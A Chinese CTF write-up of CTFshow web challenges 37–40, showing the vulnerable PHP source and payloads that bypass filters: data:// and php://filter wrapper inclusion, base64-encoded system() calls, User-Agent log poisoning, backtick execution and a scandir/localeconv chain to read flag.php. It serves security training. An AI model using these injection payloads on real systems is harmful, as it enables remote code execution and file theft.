CTFshow web(php命令执行 37-40)

?c=eval($_GET[shy]);&shy=passthru('cat flag.php'); #逃逸过滤

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php #文件包含

?c=include%0a_GET\[cmd\]?\>\&cmd=php://filter/read=convert.base64-encode/resource=flag.php #文件包含 ?c=include_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?> #文件包含
?c=include$_GET[cmd]>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== #文件包含

?c=data:text/plain; <?php system($_POST[1]);?> POST: 1=tac flag.php #伪协议

?c=/var/log/nginx/access.log 在 User-Agent插入<?php echo system('ls');?> #文件日志包含

?c=echo(`tac%09f*`); #反引号

这里是刷题篇,以上命令的原理来自

一篇文章带你进阶CTF命令执行-CSDN博客

可以先磨下刀,刷题更稳

这里的payload:

复制代码
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

include典型的文件包含,正好我之前写过类似的文章

文件包含提升-CSDN博客

直接照搬上去就好,这里不用phpinfo了,里面没有flag,直接换用<?php system('cat flag.php')?>

就好了,详细文件包含知识和原理在上面的文章

web38

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-04 00:12:34

@Last Modified by: h1xa

@Last Modified time: 2020-09-04 05:23:36

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

//flag in flag.php

error_reporting(0);

if(isset($_GET['c'])){

c = _GET['c'];

if(!preg_match("/flag|php|file/i", $c)){

include($c);

echo $flag;

}

}else{

highlight_file(FILE);

}

还是直接data伪协议读取就好了,这里没有禁用这个,那就

复制代码
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-04 00:12:34

@Last Modified by: h1xa

@Last Modified time: 2020-09-04 06:13:21

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

//flag in flag.php

error_reporting(0);

if(isset($_GET['c'])){

c = _GET['c'];

if(!preg_match("/flag/i", $c)){

include($c.".php");

}

}else{

highlight_file(FILE);

}

还想啥,直接丢命令上去

这里证明还是可以执行这个为协议读取phpinfo的,直接CTRL+f全局查找ctfshow这几个关键字,发现没有flag,不过没事,换个命令就好了

<?=system("tac fla*.php");?>

这里别让对面匹配到php,直接用星号或者?替换就好

web40

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-04 00:12:34

@Last Modified by: h1xa

@Last Modified time: 2020-09-04 06:03:36

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET['c'])){

c = _GET['c'];

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\\|\\%\|\\\^\|\\\&\|\\\*\|\\(\|\\)\|\\-\|\\=\|\\+\|\\{\|\\\[\|\\\]\|\\}\|\\:\|\\'\|\\"\|\\,\|\\\<\|\\.\|\\\>\|\\/\|\\?\|\\\\\\\\/i", c)){

eval($c);

}

}else{

highlight_file(FILE);

}

到这里把特殊符号和数字基本都过滤了,有点狠了,之前的命令没有用,现在该凭借能力审计代码了。'

这里直接引用师傅的解释:

yu22x

先把payload写下 highlight_file(next(array_reverse(scandir(pos(localeconv())))));

需要用到的函数

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)

pos():返回数组中的当前元素的值。

array_reverse():数组逆序

scandir():获取目录下的文件

next(): 函数将内部指针指向数组中的下一个元素,并输出。

首先通过 pos(localeconv())得到点号,因为scandir('.')表示得到当前目录下的文件,所以

scandir(pos(localeconv()))就能得到flag.php了。具体内容如下

真心希望文章能够帮助大家学习,谢谢!

相关推荐
JIngJaneIL4 分钟前
助农惠农服务平台|助农服务系统|基于SprinBoot+vue的助农服务系统(源码+数据库+文档)
java·前端·数据库·vue.js·论文·毕设·助农惠农服务平台
云外天ノ☼9 分钟前
待办事项全栈实现:Vue3 + Node.js (Koa) + MySQL深度整合,构建生产级任务管理系统的技术实践
前端·数据库·vue.js·mysql·vue3·koa·jwt认证
一位搞嵌入式的 genius13 分钟前
前端实战开发(三):Vue+Pinia中三大核心问题解决方案!!!
前端·javascript·vue.js·前端实战
塞纳河畔的歌13 分钟前
保姆级教程 | 麒麟系统安装Edge浏览器
前端·edge
网络精创大傻14 分钟前
PHP 与 Node.js:实际性能对比
开发语言·node.js·php
多睡觉觉15 分钟前
数据字典:从"猜谜游戏"到"优雅编程"的奇幻之旅
前端
KevinLyu15 分钟前
PHP内核详解· 内存管理篇(七)· 调整内存块大小
php
嗝屁小孩纸18 分钟前
开发集成热门小游戏(vue+js)
前端·javascript·vue.js
赛博切图仔23 分钟前
深入理解 package.json:前端项目的 “身份证“
前端·javascript
UIUV26 分钟前
JavaScript 学习笔记:深入理解 map() 方法与面向对象特性
前端·javascript·代码规范